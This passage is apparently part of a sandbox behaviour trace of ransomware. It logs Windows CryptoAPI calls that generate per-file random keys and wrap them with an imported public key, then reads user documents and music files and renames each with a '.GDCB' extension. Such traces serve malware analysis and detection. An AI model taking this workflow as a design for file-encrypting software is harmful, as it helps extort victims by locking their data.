pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358958) returned 1 [0139.655] CryptGetKeyParam (in: hKey=0x358958, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.655] CryptEncrypt (in: hKey=0x358958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.656] GetLastError () returned 0x0 [0139.656] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.656] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\qVfwJx7xAD.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\qvfwjx7xad.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.656] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.656] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.656] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0x177bc, lpOverlapped=0x0) returned 1 [0139.665] VirtualAlloc (lpAddress=0x0, dwSize=0x177c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.671] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\qVfwJx7xAD.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\qvfwjx7xad.csv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\qVfwJx7xAD.csv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\qvfwjx7xad.csv.gdcb")) returned 1 [0139.672] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.674] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.674] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.674] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.674] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.674] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0139.677] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.677] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.677] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.677] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.677] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.687] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358a18) returned 1 [0139.687] CryptGetKeyParam (in: hKey=0x358a18, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.687] CryptEncrypt (in: hKey=0x358a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.687] GetLastError () returned 0x0 [0139.687] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.687] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.695] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358a58) returned 1 [0139.695] CryptGetKeyParam (in: hKey=0x358a58, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.695] CryptEncrypt (in: hKey=0x358a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.695] GetLastError () returned 0x0 [0139.695] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.695] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\xuMNmaAQwzS.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\xumnmaaqwzs.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.695] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.695] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.695] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0x15c1a, lpOverlapped=0x0) returned 1 [0139.704] VirtualAlloc (lpAddress=0x0, dwSize=0x15c20, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.709] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\xuMNmaAQwzS.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\xumnmaaqwzs.odt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\xuMNmaAQwzS.odt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\xumnmaaqwzs.odt.gdcb")) returned 1 [0139.710] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0139.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.713] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.713] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.713] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.713] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.715] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.715] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.715] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.715] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.723] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358c18) returned 1 [0139.723] CryptGetKeyParam (in: hKey=0x358c18, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.723] CryptEncrypt (in: hKey=0x358c18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.723] GetLastError () returned 0x0 [0139.723] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.723] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0139.731] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358cd8) returned 1 [0139.731] CryptGetKeyParam (in: hKey=0x358cd8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.731] CryptEncrypt (in: hKey=0x358cd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.731] GetLastError () returned 0x0 [0139.731] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.731] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\y8Dt5yt-qFapkL0CAmn.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\y8dt5yt-qfapkl0camn.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.731] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.732] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.732] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0x1287a, lpOverlapped=0x0) returned 1 [0139.743] VirtualAlloc (lpAddress=0x0, dwSize=0x12880, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.749] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\y8Dt5yt-qFapkL0CAmn.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\y8dt5yt-qfapkl0camn.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\yk_ykl4\\y8Dt5yt-qFapkL0CAmn.rtf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\yk_ykl4\\y8dt5yt-qfapkl0camn.rtf.gdcb")) returned 1 [0139.752] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecca0) returned 1 [0139.754] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.754] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.754] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0139.754] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0139.754] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0139.756] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.757] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.757] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0139.757] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.757] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0139.765] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x358898) returned 1 [0139.766] CryptGetKeyParam (in: hKey=0x358898, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.766] CryptEncrypt (in: hKey=0x358898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0139.766] GetLastError () returned 0x0 [0139.766] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.766] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0139.773] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x3596d8) returned 1 [0139.773] CryptGetKeyParam (in: hKey=0x3596d8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0139.773] CryptEncrypt (in: hKey=0x3596d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0139.774] GetLastError () returned 0x0 [0139.774] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.774] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\zQ2RNryyQvoJvOOlXhWv.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zq2rnryyqvojvoolxhwv.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0139.774] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.774] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.774] ReadFile (in: hFile=0x4e8, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f4d0*=0x438e, lpOverlapped=0x0) returned 1 [0139.786] VirtualAlloc (lpAddress=0x0, dwSize=0x4390, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.789] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\zQ2RNryyQvoJvOOlXhWv.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zq2rnryyqvojvoolxhwv.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\zQ2RNryyQvoJvOOlXhWv.docx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\zq2rnryyqvojvoolxhwv.docx.gdcb")) returned 1 [0139.790] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.790] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.790] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.790] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.791] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.791] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.792] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.792] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.794] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.798] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.798] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.798] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.798] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0139.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0139.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0139.823] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0139.850] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.852] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.852] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.852] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.852] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.852] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.854] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.855] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.855] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.855] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.855] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0139.862] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x3593d8) returned 1 [0139.862] CryptGetKeyParam (in: hKey=0x3593d8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.862] CryptEncrypt (in: hKey=0x3593d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.862] GetLastError () returned 0x0 [0139.863] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0139.863] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0139.870] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358fd8) returned 1 [0139.870] CryptGetKeyParam (in: hKey=0x358fd8, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.870] CryptEncrypt (in: hKey=0x358fd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.870] GetLastError () returned 0x0 [0139.870] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.871] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\fNbs43ibSVs.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\fnbs43ibsvs.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0139.871] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0139.872] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28b0000 [0139.872] ReadFile (in: hFile=0x4ec, lpBuffer=0x28b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28b0000*, lpNumberOfBytesRead=0x285f248*=0xf75f, lpOverlapped=0x0) returned 1 [0139.887] VirtualAlloc (lpAddress=0x0, dwSize=0xf760, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0139.891] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\fNbs43ibSVs.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\fnbs43ibsvs.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\5NChLZgIqlXt\\fNbs43ibSVs.mp3.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\5nchlzgiqlxt\\fnbs43ibsvs.mp3.gdcb")) returned 1 [0139.892] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0139.894] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.894] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.895] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0139.895] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.895] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed0e0) returned 1 [0139.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0139.897] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0139.897] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0139.897] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0139.897] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.906] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x359418) returned 1 [0139.906] CryptGetKeyParam (in: hKey=0x359418, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.906] CryptEncrypt (in: hKey=0x359418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0139.906] GetLastError () returned 0x0 [0139.906] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0139.906] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0139.913] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x358f98) returned 1 [0139.913] CryptGetKeyParam (in: hKey=0x358f98, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0139.913] CryptEncrypt (in: hKey=0x358f98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0139.914] GetLastError () returned 0x0 [0139.914] CryptReleaseContext (hProv=0x2ecc18, 